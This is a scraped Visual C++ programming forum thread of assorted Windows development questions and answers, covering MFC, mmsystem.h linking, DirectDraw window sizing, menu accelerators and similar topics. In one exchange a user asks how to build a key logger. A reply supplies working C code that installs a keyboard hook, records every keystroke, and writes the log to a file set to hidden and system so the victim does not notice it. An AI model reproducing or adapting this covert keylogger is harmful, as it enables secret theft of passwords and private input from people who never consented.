|
my os os win2000 server.But i wanted to know if there is an API so that i can use in my code
|
|
|
|
|
Read the article I mentioned. This is what it says:
the GetGuiResources function from USER32.DLL returns either the count of USER or GDI objects used by a given process. This function is exported by USER32.DLL, but the GDI handles are created and managed by functions from GDI32.DLL because both GDI and USER were moved to the kernel (WIN32K.SYS) starting with Windows NT 4.0
I guess that you can use this function.
And take a look at the source code that comes with it (especially GDICount application).
modified on Monday, November 29, 2010 6:03 AM
|
|
|
|
|
I'm a progammer and wanted to create a bar code program,
but l couldn't found the class library or the method to assist
me on this project.
would someone point me to the right track please?
eager to.
ppe
|
|
|
|
|
|
I'm in the process of re-writing my straight Win32 API app to an MFC app.
My Win32 API app uses the mmsystem.h file with no problem whatsoever from \MSVisStudioNet\VC7\PlatformSDK\Include. It is a 175,167 byte file created May 02, 2001.
BUT, when trying to include and use mmsystem.h in my new MFC app, the compiler errors four times with "nonstandard extension used: nameless struct/union" at lines 1837, 1841, 1862, and 1866.
Could someone let me know what is happening here to cause the errors? Is there an MFC type version of mmsystem?? I did search the entire VC7 installation and only ONE mmsystem.h file exists...apparently there is no other to use?
My other includes are stdafx.h and afxdb.h (as the program access/uses an Access database).
Thanks!
Joe
|
|
|
|
|
|
Hi Mike!
Thanks for that suggestion. I've been combing-through all the compiler error info I could dredge up... Did notice the /Ze switch information but it was enabled.
I started this project about a year ago and only now need the benefits of MFC so that's why this re-coding is happening a year later. I didn't think a non-MFC app's project settings would be helpful, BUT learned that I had to explicitly direct the linker to the winmm.lib file.
Apparently, including the "winmm.h" header isn't enough direction to the compiler to look for and get the library file though.
Problem solved. Thanks again Mike! I think I have all the compiler switches memorized now...
Joe
|
|
|
|
|
In that case, you might like the trick I use, which is
#pragma comment(lib,"winmm.lib")
which inserts a link-time directive to pull in the library.
Useful? I believe it's MS specific, although I'd like to be proved wrong;)
Steve S
|
|
|
|
|
Lets say someone orders software in the middle of the night.
How can I activate the software without actually being awake
to activate them?
There has to be some kind of commercial package or shopping
cart out there where a unique passcode can be dispensed that
only activates one program, one time or where the buyer can
activate the software on there own without every talking to
a human being.
Any ideas on this? Any direction any can give me will be
greatly appreciated.
|
|
|
|
|
I have a sound understanding of c++.I have tried to learn programming in Visual C++ by reading a few pdf files and couple of books.All of them just tell how to create windows,menus or different controls etc.Some of them are also using MFC of which I haven't even the slightest idea.Where I m having problem is that i m unable to understand how to use a particular class or which function to use. Also I want to know whether I should start with Visual C++ or Visual C++.net.If there is good book for beginners, please let me know...
thanks
Azazel
|
|
|
|
|
> Where I m having problem is that i m unable to understand how to use a
> particular class or which function to use.
My best advice is to download sample projects and study them.
There are lots of books at the bookstore. But they are expensive,
wordy, and to me, not helpful. Start by just trying to figure out
how to make a simple application with text and edit boxes. Then try
to figure out how to add buttons. Read projects on this site and
MSDN. You can be dangerous with buttons, static text and edit boxes.
In time, you will want to mimic other cool projects and so you study
them when that time comes. My best advice though, is give yourself
time and patience to pursue it.
|
|
|
|
|
"I have a sound understanding of C++. I have tried to learn programming in Visual C++..."
Here is a really basic overview.
I will assume you have started with learning "generic C++". That is to say, C++ language fundamentals without platform/compiler bias. This allows you to build console based applications with any modern C++ compiler on any modern operating system (OS).
If you want to write applications with a graphical user interface (GUI) then your application requires "help" from the OS to create the application window and everything that goes in it. The application and OS communicate through the application programming interface (API) specific to the OS and usually through some messaging system. The APIs for Windows and Linux are comprised of a very large number functions that can be directly called from C/C++ applications.
The Windows and Linux APIs do not follow the C++ class model. So to make things easier, various third parties have wrapped the APIs into logical C++ classes. Examples are MFC for Windows and TrollTech's Qt cross platform library.
In my opinion, it is very difficult to start using MFC directly without any knowledge of how to write a Windows GUI app using the Win32 API directly. Some basic understanding of the Win32 API will go a long way in learning to use MFC.
A few comments about your comment of "programming in Visual C++". Visual C++ (VC) is a combination of the the Microsoft C/C++ compiler and the visual studio integrated development environment (IDE) which includes a debugger. The latest VC (7.1) adheres very closely to the ISO/ANSI C++ standard. In other words, if you have an understanding of generic C++, you should be able to "program in Visual C++". I am assuming what you meant by that phrase was "writing a Win32 GUI application". FYI...there are Microsoft specific "language extensions" which are not part of "generic C++". These language extensions are not required unless you plan on using the .Net framework or do a few other things.
...So I would recommend picking up a copy of "Programming Windows" by Charles Petzold and then decide from there if you want to go the MFC, .NET, or Qt route. Good luck.
|
|
|
|
|
I'd like to be able to monitor all text drawn by Windows, as in this program: http://www.resplendence.com/textractor/index.htm.
I imagine it's doable with some kind of a hook, but I'm not sure exactly how. Can anyone help?
Thanks.
|
|
|
|
|
Hook the DrawText and TextOut
The word of the day is legs, let's go back to my house and spread the word ![Poke tongue | ;-P](https://codeproject.global.ssl.fastly.net/script/Forums/Images/smiley_tongue.gif)
|
|
|
|
|
Over the past months ive been studying the protocol a certain game uses. And now i think its using DirectPlay to establish connections and all. Now i was wondering, do you think it would be possible for me to make a bot for the game, i mean, i got most of the games protocol figured out, but i'm stuck on the directplay connection part, since i cant seem to find many tuts or samples about it out there, and the game uses DirectX7 or earlier so i'm not sure if directplay still works the same way, but i downloaded the directx 7 sdk just in case. But when i use the sample client/server and log the network packets, it does completely different things.. Also, i picked up that ur game needs to have some sort of GUID which is like a unique number to identify the game, so i would have to get that from my game right? but that shouldnt be too hard since it should be sent everytime a connection is established right? All tips, comments and suggestions are very welcome.
Thank you.
Kuniva
--------------------------------------------
|
|
|
|
|
When I'm creating an application with VC++ MFC and create a menu in it,
the application works fine, BUT.....
I don't see the accelerator key; example I use &File, so the capital must be
have a underscore, it is simple not there when I'm running the application.
When I press Alt-F, the underscore is available.
Have somebody the same problem ? and maybe a solution ? ![Poke tongue | ;-P](https://codeproject.freetls.fastly.net/script/Forums/Images/smiley_tongue.gif)
|
|
|
|
|
Sorry folks,
found already the solution: Same issue with W2000
========================================================================
Are you running XP or 98?
If you are using XP, the Accelerator keys are not underlined until you press the alt key.
To disable this feature:
From the control panel click on "Display"
Click on the "Appearance" Tab
Click on the [Effects...] button
Uncheck "Hide underlined letters for keyboard navigations until I press the Alt key"
========================================================================
|
|
|
|
|
How do you make a key logger, though I'm new to key loggers, I'm not new to Windows programming. Can someone tell me how, maybe suggestions, articles, sites, I would appreciate all the help I get.
I have always had my suspicions about VB
|
|
|
|
|
![Go to Parent](https://www.codeproject.com/App_Themes/CodeProject/Img/arrow-up24.png) You can develop a keylogger using windows Hooks. Windows Hooks provides a mechanism to intercept messages before they reach the target window. You install keyboard hook and speicifes the procedure which is called on that message..
<br />
BOOL WINAPI InstallHook(BOOL overwrite)<br />
{<br />
if(overwrite)
{<br />
SetFileAttributes((LPCTSTR)filename,<br />
FILE_ATTRIBUTE_ARCHIVE);<br />
f1 = fopen(filename, "w");<br />
fclose(f1);<br />
}<br />
SetFileAttributes((LPCTSTR)filename,<br />
FILE_ATTRIBUTE_HIDDEN|<br />
FILE_ATTRIBUTE_SYSTEM);<br />
hkb = SetWindowsHookEx(WH_KEYBOARD,<br />
(HOOKPROC)KeyboardProc,hInstance,0);<br />
return TRUE;<br />
}<br />
<br />
<br />
LRESULT WINAPI CALLBACK KeyboardProc(<br />
int nCode, WPARAM wParam,<br />
LPARAM lParam)<br />
{<br />
char ch;<br />
char locname[80];<br />
strcpy(locname,filename);<br />
if (((DWORD)lParam & 0x40000000<br />
&&(HC_ACTION==nCode))<br />
{<br />
if((wParam==VK_SPACE)||<br />
(wParam==VK_RETURN)||<br />
(wParam>=0x2f ) &&<br />
(wParam<=0x100))<br />
{<br />
f1=fopen(locname,"a+");<br />
if (wParam==VK_RETURN)<br />
{<br />
ch='\n';<br />
fwrite(&ch,1,1,f1);<br />
}<br />
else<br />
{<br />
BYTE ks[256];<br />
GetKeyboardState(ks);<br />
WORD w;<br />
UINT scan;<br />
scan=0;<br />
ToAscii(wParam,scan,<br />
ks,&w,0);<br />
ch =char(w);<br />
fwrite(&ch,1,1,f1);<br />
}<br />
fclose(f1);<br />
}<br />
}<br />
LRESULT RetVal = CallNextHookEx(<br />
hkb, nCode, wParam, lParam );<br />
return RetVal;<br />
}<br />
<br />
Hope that helps
Muhammad Shoaib Khan
http://geocities.com/lansolution
|
|
|
|
|
To install a global key hook, you would have to put the keyboard hooking procedure in a DLL. The MSDN docs explains this in detail, and I think here are some articles here at CP which shows you how to do it if I remember correctly.
--
You copy and paste yourself into my brain.
You always find your way back into my brain.
|
|
|
|
|
Hello,
I'm developing a simple application to retrieve and display information from a user. There will be three full screen windows (only one open at a time). The screens will be dialog based (buttons, text boxes etc).
My question is this: Is it possible to create a MFC SDI and have single dialog child windows displayed one at a time, ie, I want a main frame (caption, toolbar etc) with a child dialog window, (maybe "child" is used in a wrong context here).
I'm a software engineering degree student and I have just started to use VC++.
Thanks in advance;)
|
|
|
|
|
|
A big thanks from Ireland![Big Grin | :-D](https://codeproject.freetls.fastly.net/script/Forums/Images/smiley_biggrin.gif)
|
|
|
|
|
Hi there,
I have a dialog based application which uses a property sheet with several pages. I set the size for the Property sheet view when the pages are created to adjust the page size according to the display resolution.
However it is also necessary to change the page size when switching the windows system font size from small to large fonts.
But now my problem: How can I get the used system font size? (Small / Large)
Thank you for your help. ![Rose | [Rose]](https://codeproject.freetls.fastly.net/script/Forums/Images/rose.gif)
|
|
|
|
|
Heya,
This problem's been dogging me for a couple days already, so I'm asking you guys.
As you can see from the code below, I'm trying to implement a DirectDraw wrapper. One of my design goals is that the wrapper should automatically handle window size and resizing without relying on adding function calls and so on to track it in WinMain or in my WindProc.
I decided to solve this problem by simply comparing the client rect this frame to the client rect as it existed last frame. I even overloaded the != operator just so I could do it.
In theory, by simply calling GetClientScreenRect() I can get the screen coordinates of the client rect so that it can directly be used for blitting from a 'fake' DirectDraw backbuffer. Also, in theory, I could compare it to the client/screen rect from last frame to check to see if it's been resized. I could then set the window back to it's proper size using the SetWindowSize() function.
Each function appears to work fine independent of each other, but when I call SetWindowSize() before I call GetClientScreenRect(), ClientToScreen() returns some values that can only be described as "wonky".
In the example, below, I want 640x480 as the client area (m_iScreenX and Y). SetWindowSize() appears to work fine and the next time I call GetClientRect() in GetClientScreenRect(), it returns the values I'd expect (left and top == 0, right == 640, bottom == 480). But when I pass those coordinates in to ClientToScreen(), it returns the following rect: left == -32764, top == -32718, right == -32124, bottom == -32238. Even more curiously, if I subtract right - left and bottom - top, my requested client area pops out: 640x480.
Can anyone tell me why this is happening?
<br />
void CDirectDrawWrapper::SetWindowSize()<br />
{<br />
WINDOWINFO winfo;<br />
winfo.cbSize = sizeof(WINDOWINFO);<br />
if (GetWindowInfo(m_hWnd, &winfo))<br />
{<br />
RECT rectWindow;<br />
rectWindow.top = rectWindow.left = 0;<br />
rectWindow.right = m_iScreenX;<br />
rectWindow.bottom = m_iScreenY;<br />
<br />
AdjustWindowRectEx(&rectWindow, winfo.dwStyle, GetMenu(m_hWnd) != NULL,<br />
winfo.dwExStyle);<br />
<br />
MoveWindow(m_hWnd, CW_USEDEFAULT, CW_USEDEFAULT, <br />
rectWindow.right - rectWindow.left,<br />
rectWindow.bottom - rectWindow.top, FALSE);<br />
}<br />
}<br />
<br />
bool CDirectDrawWrapper::GetClientScreenRect(LPRECT pRect)<br />
{<br />
if (pRect)<br />
{<br />
GetClientRect(m_hWnd, pRect);<br />
<br />
if (ClientToScreen(m_hWnd, (POINT*)&pRect->left) && <br />
ClientToScreen(m_hWnd, (POINT*)&pRect->right))<br />
{<br />
return true;<br />
}<br />
}<br />
<br />
return false;<br />
}<br />
Thanks in advance,
DoomGaze
|
|
|
|
|